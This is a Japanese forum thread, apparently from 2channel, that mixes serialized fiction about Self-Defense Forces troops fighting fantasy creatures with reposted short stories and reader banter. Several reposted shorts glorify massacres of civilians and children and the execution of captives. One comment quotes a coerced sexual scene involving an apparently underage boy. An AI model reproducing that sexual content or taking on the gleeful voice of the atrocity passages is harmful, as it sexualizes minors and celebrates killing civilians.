旧軍伝統の、現代の銃剣にしては異常なほど刃渡りの長い六四式銃剣は、ガルムの心臓まで達していた。
断末魔の悲鳴も上げず即死したガルムの身体から這い出たレプが、涙と鼻水でひどい顔で柴田を見上げた。

「ぶんたいちょ」
「来るんだ! 私から絶対に離れちゃいけない!」
「わ、わう!」

レプが落としていた小銃を拾い上げる。
その間にも、柴田は飛びかかってきたコボルトの頭を単発射撃で撃ち抜いていた。
至近距離での七・六二ミリ弾の威力は、撃ち抜くなどという生やさしいものではなく、
まるでスイカ割りのように頭を粉砕されたコボルトがひっくり返る。
気付けば、数の差に圧倒され、柴田とレプの周囲には味方の姿がなくなっていた。
十匹を超える敵に包囲され、二人は息を呑んだ。


432 名前: 元1だおー 2006/06/28(水) 15:43:29 ID:???

ホブ・ゴブリンらしき体格のいいゴブリンが野太く吠え、敵が一斉に二人に襲いかかろうとする。
だが、次の瞬間、黒い旋風のような何かが敵を駆けめぐった。
血煙を上げ、一瞬で敵の半分が崩れ落ちる。
そして、それは二人を庇うように立ちふさがる。

「ルールカ!?」

柴田は目を見張った。
そこには、小銃と戦闘装具を捨て、敵から奪い取った長剣と短剣を両手持ちに構える部下の姿があった。

「撤退しましょう! ここはもう保ちません!」

言い放つと、柴田の返答も待たずに再び人間離れした素早さで敵に斬りかかる。
柴田はもう躊躇わず、退路ができたのを見過ごさずにレプを促した。
幸い、高地の奥へ行くほど霧は濃く、後退するには好都合だ。
ドワーフ隊員の構築した予備陣地に駆け込めばいい。
前線部隊はそうして、甚大な被害を出しつつ、遅滞行動をとり始めた。


433 名前: 元1だおー 2006/06/28(水) 15:45:06 ID:???

「ポスト・スリー! 撤退するぞ! 皆集まれ!」
「無理です! 各個後退するしか!」
「だが……あっ!?」

柴田とレプ、そしてルールカは、自分達が一重二重と包囲されつつあるのに気付いた。
味方はほとんど周囲にいなくなっていたのだ。
退却の機を逸した。
柴田はもたついた自分に歯ぎしりした。
柴田とレプは小銃を四方に向け、敵を威嚇する。
銃火器の威力を知ったのか、銃口を向けるだけでも敵はたたらを踏んだ。
しかし、こんな威嚇で長く保つはずがないのは分かっていた。

「……シバタ曹長」
「ど、どうする?」

だが、にじり寄ってくる敵を剣を構えて威圧するルールカは恐ろしいほど冷静だった。


434 名前: 元1だおー 2006/06/28(水) 15:46:14 ID:???

「私が血路を切り開きます。その隙にレプと突破してください」
「だ、だが君はっ!?」

焦燥の声に、ルールカが柴田に振り向いた。
そして柴田は息を呑んだ。
彼の顔は、敵の返り血でまるで阿修羅のごとき形相だったのだ。
しかし、その顔の中で、どこか年相応の悪戯っぽい笑みがこぼれ落ちる。

「大丈夫です。これくらいの状況は過去何度か経験していますから。死に急ぐ気はありませんよ」

嘘だ、と柴田は直感した。
彼の瞳には、迷いも恐れも見ることはできない。
しかし、悲しみと慈しみの温かな炎が宿っていた。
生き残ろうとする者が、こんな穏やかな目をするはずがないのだ。
今の彼は決意と共に別れを悲しんでいるのだ。
だが柴田は、今のこの状況を打破するための術も発想も持ち合わせていなかった。
守ると決めたばかりなのに。自分はまた失ってしまうのか。
また、何も守れないのか。
これも罰なのか!?



435 名前: 元1だおー 2006/06/28(水) 15:47:08 ID:???

「いかんっ! それは私の役目だ!」

無我夢中で柴田は駆け寄ると、ルールカの肩を思い切り掴んだ。
返り血とルールカ自身の血を吸った迷彩服が、ぬるりと手にへばりつくのも気にせず、柴田はルールカの顔を引き寄せる。
間近で見ると、彼はまだやはり幼さが残っている。日本人なら、高校でまだ遊んでいてもおかしくはない少年の顔だ。
こんな、子供達が、戦場に立っていること自体が、間違っている。
死ぬ順番は、歳をとった者からでいい。

「君はレプを頼む」
「……冗談を」
「冗談じゃない。君のような……息子のような歳の者を見捨てられない」

ルールカの顔に、今まで見たことのない驚きの感情が浮かぶ。
しかし、すぐにその驚きは、聞き分けのない上官への怒りに代わった。

「あなたでは役不足です! 時間がないんです。早く……」

ルールカが柴田の手を振りほどき、叫ぼうとした瞬間。

「エネミィータリホゥー!」

それは頭上で聞こえた。
霧の高地に、高らかに、力強く。
見上げると、薄暗い空に、光るような白い翼が広がっていた。
両翼に、誇らしげに日の丸を描いた、一羽、いや……


436 名前: 元1だおー 2006/06/28(水) 15:49:06 ID:???

「ターゲット!」

一機の、支援戦闘機のシルエット。

「ワルキューレゼィロワン……ライフルッ!」

死の宣告のような叫びと同時に、彼女の手にする二丁の六二式機関銃が、咆哮を上げた。
雨のように降ってくる空薬莢の熱さに狼狽しながら、地上の三人は呆然と目の前で掃射されていく敵の姿を見つめる。

「なにやってんだっ! さっさと逃げな! アタシの火力だって無限じゃねんだ!」

撃ち尽くした六二式機銃を放り捨て、太股に縛り付けていた九ミリ機関拳銃を両手に、
嵐のような掃射を続けるフェチカのハスキーボイスが耳に飛び込んでくる。
マズルフラッシュに頬を朱に染めながら、戦場の空を舞い狂うように飛ぶフェチカは、神秘的で、そして野性的で、優美だった。
戦女神。
もしいたとしたら、こんな姿なのかもしれない。
柴田は、今の状況をしばし忘れ、彼女の雄姿に見とれてしまう。



437 名前: 元1だおー 2006/06/28(水) 15:50:32 ID:???

「すまない! だが……君は!?」

「ハンっ! この霧の中であたしに矢を当てられるような奴ぁいねえさ」

彼女はにやりと笑うと、撃ち尽くした機関拳銃の片方を放り捨て片方をリロードし、
腰から米軍の供与品とおもしき手榴弾を取り出すと、
まるでバード・キスするように優しく安全ピンを口で引き抜き、翼をしならせ、敵の集団の頭上に舞う。

「すまない! 頼む!」

戦乙女を見送りながら、柴田は心の底から彼女に感謝した。
爆音と機関拳銃の連射音に酔ったかのような恍惚とした笑みを浮かべながら、彼女は後退を始めた柴田たちに思い出したかのように叫ぶ。

「ああん? 空自のあたしが陸自に近接航空支援の一つもしねえんじゃカッコつかねえだろ。
タカビーなエルフも辛気くせえデックもドワーフの酒樽も、どいつもこいつも大嫌ぇで助けたかねえがよぉ!」

機関拳銃をスリングで首から提げると、自由になった両手に纏めて四個の手榴弾を持つ。
降りかかってくる矢を情熱的なジルバを踊るようにかわしながら、手榴弾を放り投げていく。



438 名前: 元1だおー 2006/06/28(水) 15:52:04 ID:???

「あたしもおめえらもニホンの自エー感だ。同じ穴のムジナさねっ! 同業者は大事にしねえとなぁ!」

彼女が投擲した円筒形の手榴弾が炸裂し、周囲が炎に包まれる。
通常の破片手榴弾ではない。おそらく米軍の焼夷手榴弾だ。
天使のような姿の彼女の下では、まるで地獄の業火に焼かれているかのように火達磨になった召喚獣達が悲鳴を上げてのたうっている。
彼女は逃げまどう眼下の敵に、口の端を歪めた笑みを浮かべながら機関拳銃を構え、容赦なく引き金を引く。

「……あの女、素直に仲間って言葉使えないのか?」

その常軌を逸した彼女の様子に、ルールカが呆れたように一言呟いた。

<続く>

439 名前: 名無し三等兵 2006/06/28(水) 15:55:40 ID:???

乙です。
やべぇ、引き込まれる。

440 名前: 元1だおー 2006/06/28(水) 15:57:40 ID:???

>>335氏
ごめんなさい。今度時間があるときにうpしてリンク張っておきます。
やはり自分の作品を望んでくれる人がいるのはうれしいことです。
ネット環境が今ない状態で、実は今もここに張る作業のせいで予定の電車の時間が過ぎました……
勉強の合間に作品作り、しかも応募用とここ用。
いやはや、エキサイティングな日常です。


441 名前: 名無し三等兵 2006/06/28(水) 16:41:02 ID:???

おもすれー

442 名前: 名無し三等兵 2006/06/28(水) 19:46:44 ID:???

「お兄ちゃん!無理だよそんな大きいのなんか入らないよっ!」
「いいから力を抜け・・・そうだ、全部俺に任せろ」
「あ・・・ぐ・・・ぼ、ぼくおとこのこなのに・・・酷いよお兄ちゃん・・・」
「黙れ、おとこのこだと?そんなフリフリのつきまくった女の子の格好してる方が悪いんだ!」
「でもこれ着せたのお兄ちゃんだよ・・・・あ、あぁァァァァァッッッ!!」

まで読んだ。
もうちょっと短めにしてくれるとありがたい。

443 名前: 名無し三等兵 2006/06/28(水) 19:49:56 ID:???

( ゚д゚)>>442

(゚д゚)ソレナンテエロゲ?

なにはともあれ乙華麗。

444 名前: 名無し三等兵 2006/06/28(水) 21:09:01 ID:???

元1だおー氏乙です。

>柴田は、初めて日本という国をはっきりと憎んだ

日本国内にも口には出さないだけでこう感じてる人物はいるはず・・・だよな?
いっそ国内にガンダムセンチネルのニューディサイズみたいな組織が
結成されたらいい薬になるかもしれん。

ニューディサイズ=グリプス戦役(Z時代)後、エゥーゴやカラバ主体の連邦に
反感や不信感を覚えた連邦兵達が作り上げた反乱軍で連邦教導団とティターンズ残党が
主力を占めた。彼らの連邦に対する怒りは深く、本来彼らからすれば
ネオジオンも敵であるはずだがそれ以上に「連邦憎し!」という意見が多く、
一時的にとは言えネオジオンと共闘するまでだった。

445 名前: 名無し三等兵 2006/06/28(水) 21:14:22 ID:???

良薬よりも劇薬になりそうだぞそれ。
想像すると楽しいが

446 名前: 名無し三等兵 2006/06/28(水) 21:28:15 ID:???

一瞬、反乱起こした自衛隊員と警察に合流した後に暴徒化して「ニュー2ちゃんズ」と
書いた幟を手に暴れるねらーかw

447 名前: 名無し三等兵 2006/06/28(水) 21:32:17 ID:???

訂正・・・っていってもあんま変わらないが

一瞬、反乱起こした自衛隊員と警察に合流した後に暴徒化して「ニュー2ちゃんズ」と
書いた幟を手に暴れるねらーかw

一瞬、反乱起こした自衛隊員と警察に合流した後に暴徒化して「ニュー2ちゃんズ」と
書いた幟を手に暴れるねらーとか想像して噴いたw

448 名前: 名無し三等兵 2006/06/29(木) 00:58:27 ID:???

社会党全盛紀の日本がF世界に召喚されました?あと武士道とかウザイ

449 名前: 名無し三等兵 2006/06/29(木) 05:57:53 ID:???

で、とりあえず気になったこと。

外人部隊の諸君には既にいろんな形で前払いしている筈では?外人部隊のメンバー以外を難民として受け入れたこととかね。

例1:難民キャンプの維持費は税金から出ています。
例2:自国民に回す分すら足りない状況下ですが、難民に水や食糧を供給しています。


450 名前: 名無し三等兵 2006/06/29(木) 06:15:59 ID:???

>>444
衣食足りて礼節を知るなんて言いますが、元1氏の話だとどちらも足りていないようです。
食糧も燃料も不足している状況下で、わざわざ難民の心配をする奇特な人間がいますかね?
(食糧と燃料が優先的に供給されている自衛隊内部にはいるようですが。)

451 名前: 名無し三等兵 2006/06/29(木) 06:58:52 ID:???

キャンプの居住設備(プレハブ以下かも)とか
生活に必要な物品とかも本当に最低限の保障だけ
しか支給されて無い可能性が高いだろうしな…

それでも無いよりマシとかF世界の水準からすると
日本国内に住めるだけですごい豊かな生活になるのかもしれないけど
東南アジアから来た出稼ぎ労働者見たく物価の格差に泣いてるかもしれないし。

452 名前: 名無し三等兵 2006/06/29(木) 08:07:00 ID:???

>>444>>450
最悪、屈折した極右や極左が本性むき出しにして行き過ぎた難民排斥運動に出た挙句に
「敵の敵は味方」とブルーコスモスみたいな組織作って大規模な弾圧に走る確率の方が高いな。

453 名前: 元1だおー 2006/06/29(木) 09:13:06 ID:???

>>448
自分の力不足です……申し訳ない。

454 名前: 名無し三等兵 2006/06/29(木) 09:55:54 ID:???

復活

455 名前: 名無し三等兵 2006/06/29(木) 11:18:39 ID:???

>>449
そういえば、親族を病院に入れてやったとかいう話も…。

456 名前: 名無し三等兵 2006/06/29(木) 11:22:06 ID:???

>>438
空を飛んでいる誰かさんへ。
"その辺はいいから後ろの本陣を叩いてきなさい。"

457 名前: 名無し三等兵 2006/06/29(木) 11:42:58 ID:???

>>452
もし日本の状況が悪化したら十中八九そうなるだろう

458 名前: 名無し三等兵 2006/06/29(木) 12:08:40 ID:???

>>456
単機で? つまり死んで来いと?


459 名前: 名無し三等兵 2006/06/30(金) 00:59:39 ID:???

ハリーポッター死亡予告報道記念。

355 名前:小官 ◆qG4oodN0QY :04/03/18 21:27 ID:???
 力のない人間どもに、ぼくが何の理由があって従わなくちゃならないんだろうか?
魔法の力のかけらもない、おかしな模様が入った服を着た男たちが、ぼくたちが生活
する由緒ある『魔法学校』に押しかけ、みんなを集めて先生たちと何か話していた。
 あんな奴ら、ぼく一人の『力』で追い払えるのに? さあ、見てろよ…!

 『…取り返しの付かん『悪戯』は、止めて置くんだな? …後悔する事に為る』

 声が『聞こえた』。…念話だ。黒い鉄製の杖を持った男たちの中の一人が、ぼくを
見つめていた。ぼくは無視して、先生と話しているえらそうな男の尻に炎術をかけた。
ぼくの念じた場所に、かんたんに炎が生まれる。見たか! 俗人ども…め?

 『君は引金を引いてしまったな…。虐殺への序曲は奏でられた…』
 
 男の目が、ぼくを哀れむかの様に伏せられた。とたんに、すごい大きな音がした。
先生の、きれいな顔が…ふき飛んでいた。男たちの杖の先から、けむりと炎がつぎつぎ
と上がり、ぼくの友だちや、食堂のおねえさん、先生たちを穴だらけにして行く。

 『君はもっと早くに、その力に対する責任を、学ぶべきだったのさ…。哀しい事だが、
  命令には、例外は無いんだ。君の御蔭で、例外無くこの世界の人間は抹殺される…』

 念話の主がぼくに、黒い杖の先を向けた。ぼくは目をとじた。ぼくは、みんなの所へ
行けるのかと、思いながら。ごめんなさい…先生…みんな…。また、あえ


460 名前: 名無し三等兵 2006/06/30(金) 01:00:16 ID:???

362 名前:小官 ◆qG4oodN0QY :04/03/18 22:04 ID:???
上がっておる…下げねばな? ウム。ただ下げるのも芸が無い。

 「どうした? 葛野? …こんな事も想定していたろう? 」

 同期の芦屋が僕の肩に手を置いた。一斉射撃は、この学校の教師、職員、生徒の大半を
薙ぎ倒した。銃弾には意思は無い。彼等の心理操作の魔法も…銃弾の前には無力だった。
 あの子が『炎術』さえ使わなければ、多分教師の掛けた『心理操作』は、中隊長に何の
苦も無く掛かっていた筈だった。僕は制止すべきだったのだ。もっと、積極的に。

 「悩むなよ。…お前は警告した。それで充分さ。…お前や俺の『力』がばれたら…」
 「芦屋…それでも…僕達は…もっと…努力を…たとえ…異端者扱いを受けてもっ! 」
 「俺は、一緒に暮らした仲間達に銃殺はされたくない。お前も、そうだろう? 」

 芦屋は教師の死体の足を両手で掴み、校庭に掘った大穴へと引きずって行った。僕は
唇を噛み締めた。失った命はもう戻りはしない。終わり無き戦争への、行程が始まる。 
   
と、まあ、まとめる。数人でも、異能者が居る、と言うスパイスを効かせるのも手だ。終わる。 

461 名前: 名無し三等兵 2006/06/30(金) 01:06:15 ID:???

夏の小官祭り開催w

409 名前:小官 ◆qG4oodN0QY :04/03/28 20:54 ID:???
 
 「誰か?! 誰か?! 誰か?! 」
 
 合言葉は…プラス2だ。何の事かは解らないが、外見の偽装は完璧の筈だ。
魔法による変化は完璧だ。化ける事など造作も無い。「小道具」もちゃんと
用意した。化けさせてもらった本人は…記憶を読んだ後に『処理』した。
 微笑みながら、近寄る。敵意が無い事を示すために、両手を上げる。

 「もしかしてお前、宇井津か? 久し振りだな! 元気にしてたか? 」

 拍子抜けだ。確か、「前期教育隊」が一緒だった法師とか言う奴だった。
合言葉も確認しないとは、愚かな奴だ…。まあ、こんな所で見張り員をして
居る様な下賎な輩は警戒するまでも無い! 魔法に勝る物など存在しない!
近寄ってきたな? さあ、直ぐそのつまらない仕事から解放してやろう!

 「法師! こんな所で逢うとは思わなかったよ…! 会えて…? 」
 「…宇井津じゃないだろうが…お前は…そうだよな…残念だよ…」

 ドン! 法師は私の胸に何時の間にか抜いた、腰の短剣を突き立てた。何故、
ばれた? 私は聞こうとしたが、唇から漏れたのは…かすかな吐息のみだった。

462 名前: 名無し三等兵 2006/06/30(金) 01:06:51 ID:???

411 名前:小官 ◆qG4oodN0QY :04/03/28 21:09 ID:???
 俺は馬脚を顕しつつある魔術師の死体を、右手で抜いて刺した銃剣で支えながら
黙ってその場に仰向けに倒した。人を見下すのに慣れた、その高慢そうなツラが、
間抜けに歪んでいた。『何故ばれた? 』と今にも云わんばかりの顔で。

 「自衛隊員ならな、三度目の誰何(スイカ)に為っても名乗らない馬鹿はな、
  居ない。さらに、所属部隊名、姓名、階級…一回目で応えるよ…普通はな?
  間違えてるのは半長靴だよ。昨日まで雨が降ってて辺りはぬかるんでるのに
  お前の半長靴の靴底には泥すら付かない。そんな半長靴があったら、皆、噂
  になってる。で、お前は哨戒を終えて、くたくたの筈なのに元気一杯の声を
  出してる…数え上げればキリが無いが…間抜けだよ。兵士に化けるにはな?」

 俺は死体に唾を吐き、死体の腹に左足を乗せ、銃剣を引き抜いた。コイツのせい
で俺と部隊の仕事がまた増える。俺は日報と上級部隊への報告で、部隊は宇井津の
捜索だ。多分宇井津は生きては居まい。89式小銃は…消えなかったのだから。 END?

463 名前: 名無し三等兵 2006/06/30(金) 01:12:03 ID:???

887 名前:厨官 ◆qG4oodN0QY :04/03/06 16:35 ID:???
 「ふん、女、か。剥かれるとでも、思ってるのか? 違うな? そんなに優しくは無い…」

 俺は何の躊躇いも無く、足で踏ん付けた女騎士の首に力を込め、小銃弾を顔にぶち込んだ。
間抜けな発砲音と残響音が響く。死体は二度三度、激しい痙攣を繰り返してから、辺りに静寂が
訪れた。女の顔は撃てないだと? 何の意味がある? 敵は殺さなければ意味は無い。無力化する
には殺すのが一番手っ取り早い。捕虜など取るか。前線の、俺達の食い物すら無いと言うのに。
 残酷だと『娑婆』の奴等は喚く。しかし、一番合理的な方法だ。貴様等はどの口で喚いている?
俺達が味わえぬ、手前らだけが愉しんでいる『平和』のために、死んで行く人間の存在を考えたか?
 『無知』程、罪深く、そして恥知らずで残酷な物など何処にも無い。それでも俺は、生きている。
今も見知らぬ誰かが、命を掛けて創り出している、ひと時の夢に似た『平和』の中で。   END

464 名前: 名無し三等兵 2006/06/30(金) 01:13:02 ID:???

796 名前:小官 ◆qG4oodN0QY :04/03/05 04:21 ID:???

 「喰らえ、自衛官の六四式小銃の弾を! なぁにが魔王だドラゴンだ! 弾丸の前では、
  総てが平等に価値が無い! さあ死ね! 死んでしまえ! 幾多の自衛官の怨念と共に
  事象の彼方へ去れィ! もう沢山だ! 貴様等の相手など正気でしていられるかヨォ!」

 狂った様に撃ち続け、20発入り弾倉が空になると交換し、俺は撃ち続けた。これは面白い!
バタバタバタバタ羽虫の如くドラゴンとやらが落ちて行き、叫び声を上げて魔王の眷属どもは
死んで行く。民衆の犠牲? 知った事か。ついさっき、少女の頭を気分良く、柘榴の様に砕い
た所だ。ああ、エルフもフェアリーも同様にな。最大多数の最大幸福。救い切れぬ者は必ず、
居るのだ。狂人の天国は常識人にとっての地獄だ。此処は精神力の支配する土地だ。思い込みの
強さならば、俺は誰にも負けはしない。死ね、死んでしまえ。この世の総ては価値の無い、糞の
塊で出来ている。平和などもう知った事か! 殺せ! 弾は一発だけ残しておこう。…俺の為に。  

465 名前: 名無し三等兵 2006/06/30(金) 01:15:01 ID:???

779 名前:小官 ◆qG4oodN0QY :04/03/04 21:48 ID:???
 その場にうつ伏せになり、脚を出した銃を地面に置き、2脚をやや押し気味にして、
稼動可能にする。照星や照門が、立っているか確認する。…問題は無い。立っている。
切り替え軸を引き、浮かせる。アからタに、タからレに。回転させ、左手を離す。
 床尾板を上げ、右肩に乗せる。少し痛い。銃杷に左手を置く。さあ、後は…。

 「弾込め良し、装填良し、準備良し! 」
 「第一小隊、射撃準備完了! 」
 「別名有るまでそのまま待機! 」

 耳栓越しに良く通る、小隊長のやや高めの声が、何故か可笑しく聞える。緊張感で
上ずっているのだろう。自分の命令一つで、多くの命が失われて行くのだ。無理も無い。
 暴徒と化した民衆の『成れの果て』は、死体しか無い。俺はゆっくりと引金の遊びを
殺して行く。射撃命令も無いままに。命令が有るまで引きはしない…。弾は有効に使いたかった。
 殺さなければ、自分が殺される。この陣地を越えられれば、もう俺達には後が無いのだから。  

781 名前:小官 ◆qG4oodN0QY :04/03/04 22:04 ID:??? 
 どうして、自国民を撃つ命令を下さねば為らない? 職を求めて居るだけじゃないか!
僕は目の前の『暴徒』に対する射撃命令を、喉の奥に引っ掛けたまま、出せなかった。
 日本が『国交』を開き、待っていたのは…労働者の流入だった。賃金の安く済む、質の
良い労働力を欲した国内企業は…容赦無く『自国民』を切り捨てた。悪い事に政府はそれを、
『黙認』し、有ろう事か『放置』した。そして国民の怨嗟の声は『企業』では無く…『政府』
に向けられた。『政府』は自らの延命を画策し…『警察』と『僕ら』に鎮圧を押し付けた。
小隊陸曹が僕を見る。黙って、見詰める。本当に、良いのか、と問うかの様に。ああ、取って
やるよ。責任を。お前達は黙って従えば良い。僕もそうするさ。責任は、政府が取るだろう。
…斃されさえ、しなければ。取らなくても、このままではどうせ、殴り殺されるだけだ。

 「テェー! 」

 自分の声なのに、他人の声の様に聞こえた。…僕は歴史に名を残すだろう。虐殺者として。  END


466 名前: 名無し三等兵 2006/06/30(金) 01:20:50 ID:???

ファンタジー世界に移転したあとの日本の経済状況はどうなのでしょうか。
任期終えた自衛隊員になんの就職口も無くて、歴戦の英雄が銀行強盗やって射殺されたり
コンビニ強盗やって逮捕される。そんなベトナム帰りの米兵みたいな末路が目に浮かびます。

467 名前: 名無し三等兵 2006/06/30(金) 01:24:02 ID:???

短編ではコレが好きw

382 名前:小官 ◆qG4oodN0QY :04/02/10 03:47 ID:???
気が向いたので、書いて見る。続くかも…な。

「悪い、起こしたか? ゆっくり眠ってくれ。…馬小屋なら一晩で回復するだろうがな…」

 戦車のターレットに凭れて眠っていた、ローブを着た魔導士の足を、俺は引っ掛けてしまったのだ。
二次大戦のソ連歩兵のタンク・デサント張りに、5名もの魔導士がこの新型試作戦車にへばり付いて
居た。言って見れば、この戦車の主砲の装薬代わりだ。乗員は自動装填装置の御蔭で、車長、砲手、
操縦手の三人と、…新型砲の動力源たる魔導士一人の4名。上の方では、『この世界との融和を示す、
輝かしい第一歩である! 』と曰って呉れた。…いい気なもんだ。科学の塊の戦車が、物理法則を半分
馬鹿にした様な力で動いているのをマスコミが知ったら、さぞや騒ぐに違い無いだろう。

 「何だよ? どうした? 気に障ったか? …ゲームの話さ。車内でやらせた事あるだろ? 」
 「貴方達に逢えて良かった…。人間扱いをしてくれるのは、貴方達だけ…」

 魔導士が被っていたローブを上げた。…泥や埃に汚れたローブからは想像も付かない…綺麗な顔だ。
洋ピン雑誌のグラビアモデルなど論外の…美形だ。ヤバイ。マズイ。女だとは…気付かなかった。

468 名前: 名無し三等兵 2006/06/30(金) 01:24:55 ID:???

596 名前:小官 ◆qG4oodN0QY :04/02/12 02:40 ID:???
>>382
 「そうだな…引いたよ。『アン』が急激に老化した時、スィスがいきなり喉笛掻っ切った時はな…」

 戦車砲こと『魔導砲』。突如現れた『世界』の破壊者。日本『島』ごと呼ばれた俺達は、『この世界』の
危機に立ち向かう事を『この世界』の『統治者達』から『要請』された。協力は、惜しまないから、と。
 破壊者は、多分…止めておこう。こいつは主観の問題だ。だが、俺達が倒した『個体』達の言葉から判断
すると…この『世界』の『人間』を『創った』…奴だ。俺達日本人は普通、そいつをこう呼ぶ。…『神様』だ。
 耳の尖ったこの『連中』は、差し詰め、『先行量産型・人類』な訳だ。やたら精神文明に走りすぎたのが、
『神様』の御気に召さなかったのだろう。しかし…この『装弾手』こと魔導士連中は…尖っていない。
彼等は、『戦争』の為『だけ』に創られた『人間』である事は、『支配者』の横暴ぶりから容易に見て取れた
  
 「名前を…有難う…。『セート』って…付けてくれて。こんなの…始めてだから…」
 「…大学で、フランス語齧った士長が操縦してる戦車だからな…『7』って意味さ。
  名前が無いと、呼び辛いだろう? 戦闘中もさ…ああ、俺はドイツ語の方が戦車
  に合うと思ったんだが…『発音が堅くて、彼らに合わない』って奴に言われてな? 」

 今残っている連中は、4こと『カトル』、この『セート』、そして8こと『ユート』の三人だった。
…2桁目は…正直、数えたく無い。後の奴等は、搾り尽されて死ぬか、『敵』の撃ってくる『弾』で死んだ。
神様もまた、俺達の世界から『ツマミ食い』していたのだ。『消えた兵隊』や『謎の失踪』を遂げた軍艦、
航空機…。皆、俺達の敵だった。皆、少しこちら風味に強化されて。血の涙を流しながら、『殺してくれ』と
迫る江戸末期の洋装幕軍兵を目を瞑って焼き殺した普通科の奴の話を、最近聞いた。

469 名前: 名無し三等兵 2006/06/30(金) 01:26:54 ID:???

597 名前:小官 ◆qG4oodN0QY :04/02/12 03:06 ID:???
>>596
 死ぬために、死をもたらす存在として生を受けた彼等『魔導士』を俺は、嫌悪していた。
同族嫌悪だった。ひたすら意識せずに、会話の一つもしない様に注意していた。
 あんな光景を見せられて、問い詰めた挙句に、主人のために死ぬことが定めだ、と真顔で
反論されてしまった時、俺は彼等に羨望した。彼等の死には、『意味が在る』のだと。
 反面俺達『自衛隊』はどうだろうか? 国会では未だに憲法論議、国内では『厄介者』と
真顔で言う奴も少なく無い。俺は出来る事なら、『意味の在る死』を迎えたかった。

 「…食うか? 最後の『カロリーメイト』だ。三人で食べろ。川島や中村には、内緒だぞ? 」
 「はい、サトーニソー! …これ、美味しいから、好きです…」 

 嘘だ。砲手の川島と操縦手の中村には話して有る。『弾薬』の補給はこれで最後にしたかった。
もう、川島など涙目で俺に言ったものだ。『あの娘達が…可哀相です…』と。『カトル』と『ユート』 が、
国に残した娘と同年代だと言う。食料の補給は充分ではない。『四類』こと嗜好品、菓子、カップ麺は、
ほとんどが自前で調達する。他の戦車の弾薬の補給は…三桁台に突入したと、曹学の同期から聞いた。

470 名前: 名無し三等兵 2006/06/30(金) 01:27:31 ID:???

598 名前:小官 ◆qG4oodN0QY :04/02/12 03:30 ID:???
>>597

 「あと…『スィス』…幸せ…だったと思うの。サトーニソーに無視されていたけれど…
  『スィス』…いつもわたしに言ってた…。あの人は、『いい人』なんだって…」
 「…イイ人がな…『魔導砲』で…人を撃つかよ…バカヤロウが…」

 『スィス』こと6。敵の『ケーニフィス・ティーゲル神様風味』を倒す為に、ティーゲルに抱き付き…
『魔導砲』で自分を撃つ様、俺に念話で語りかけて来たのだ。最後まで、女である事を匂わせなかった奴。
川島は言っていた。奴は…院で生物学をやっていたと言う。生体は雌性体の方が、在る意味、丈夫だと。
 川島の言うには、『弾薬』は皆、雌性体ではないかと。 俺は否定した。声など聞いた事は、俺は今まで
無かった。念話で話して来る時は、『文字』が頭の中に挿入される『感覚』だったのだから。

 「…サトーニソー? 泣いてるの? 」
 「…哀しくないのかよ…お前らは…! 」

 明日も『敵』は現れるだろう。『この世界』の『終末の黙示録』はまだ、続いていた。俺達の目の前で。

471 名前: 名無し三等兵 2006/06/30(金) 01:29:38 ID:???

小官が湧かなくても、勝手にコピペで汚染するヴァカが湧くのな

472 名前: 名無し三等兵 2006/06/30(金) 01:29:40 ID:???

>>466
政府主導の共産主義体制になると思われ。
どのみち需要―供給のバランスがそこかしこで失われるだろうから。

473 名前: 名無し三等兵 2006/06/30(金) 01:30:56 ID:???

小官がいなくても>>471のようなアンチは勝手に湧くのなw

474 名前: 名無し三等兵 2006/06/30(金) 01:34:43 ID:???

そして、それを無用に煽るヴァカもな

アンチより賢いつもりならスルーしろや

475 名前: 名無し三等兵 2006/06/30(金) 01:36:43 ID:???

りょーかい>>474! 
小官もヴァカの見本だね、SSだけ書いてりゃ打たれまいにw
もう寝るわ

476 名前: 名無し三等兵 2006/06/30(金) 01:41:43 ID:???

>>466
国の財産と生存権守る為に頑張った兵士にその待遇は無いだろう。
ベト戦とは何もかも状況が違うし。
多分、
>歴戦の英雄が銀行強盗やって射殺されたり コンビニ強盗やって逮捕される

ような事件が百件くらい起これば政府も真剣に対応を検討して、数年後くらいには
企業へ任期満了自衛官への就職優遇が推奨されるようになるよ。


477 名前: 名無し三等兵 2006/06/30(金) 01:46:21 ID:???

>>476
そしてスキャンダル好きのマスコミはその自衛官の過去を暴き立てる訳だな。
で、苦悩して元自衛官は自殺、と。現代ニッポンの人権侵害報道残酷物語。

478 名前: 名無し三等兵 2006/06/30(金) 01:49:56 ID:???

松本サリン事件報道ではっきり本性を現した
謝らないマスゴミな

479 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/30(金) 02:27:00 ID:???

えーと、SSあげてる途中で、ウィンドウズが固まって、先日ようやく復旧できた漏れがきましたよっとorz
続きは明日あたりにでもUPするので、それで勘弁して? (´・ω・`)

480 名前: 名無し三等兵 2006/06/30(金) 02:49:10 ID:???

>>476
そして犯罪件数が数千を超え
元自衛官らによる就職支援団体が各党議員に圧力をかけて
マスコミがそれを大体的に取り上げ、世論の同情を集めるようになって初めて
本格的な対策が審議され始めると。

481 名前: クマラン 2006/06/30(金) 12:23:52 ID:???

☆池沼小学校事件☆

西暦200X年、突如として時空の狭間を越えて出現した異世界との長きに
渡る戦いによって、日本国とそこに住まう人々の生活は荒廃した。
社会基盤は各所で破壊、寸断され、物流網は壊滅に近い打撃を受けた。
それに伴い経済活動も停滞し、都市のいたる所に失業者と浮浪者が溢れ出る
こととなった。これを受け、政府は税収減を理由として自衛隊の人員削減を
強行した。戦地より帰還した隊員のうち、階級が低く希少な技能を持たない
者を早期退職させていったのだった。
手に職も無く、任期満了金も減額されて社会に放りだされた隊員たちの生活
は貧苦を極めた。自殺者、家族をも巻き込んた心中者、わずかな金銭か食物
を得ようと店先を襲い逮捕者も頻出した。逮捕されて刑務所に収監される者
はまだ扱いようがあったが、やがて元自衛官の中には武装して警察力を撃退
する集団までもが出始めていた。
政府に奉ずる官僚や職員から見ればゴミの如き児戯、禄を食ませていても益
は無しとして見過ごされた戦闘技能、殺しの技、破壊の職人技を持った者た
ちが空腹のまま世に放たれていた。政府関係者らは彼らを見くびっていた、
たかが兵卒らの分際で、お上に楯突くなど到底ありえないと。

庶民の暮らしはひどく荒んだ時代にあっても、社会の上層を成すエリート達
の家庭と身内は穏やかな暮らしを享受していた。衣食に窮することなく、日
本国内の資産をいかにして海外に持ち出そうか。豊かな外国に生活基盤を構
えられないか、エリートたちのもっぱらな関心事であった。
首都の高地価地域に、エリート層の子弟が全校生徒を占める私立小学校が置
かれている。そこの卒業生らの大半が政治家、弁護士、官僚、一流企業役員
などになる名門校である。将来の成功と豊かな人生を約束されたひな鳥たち
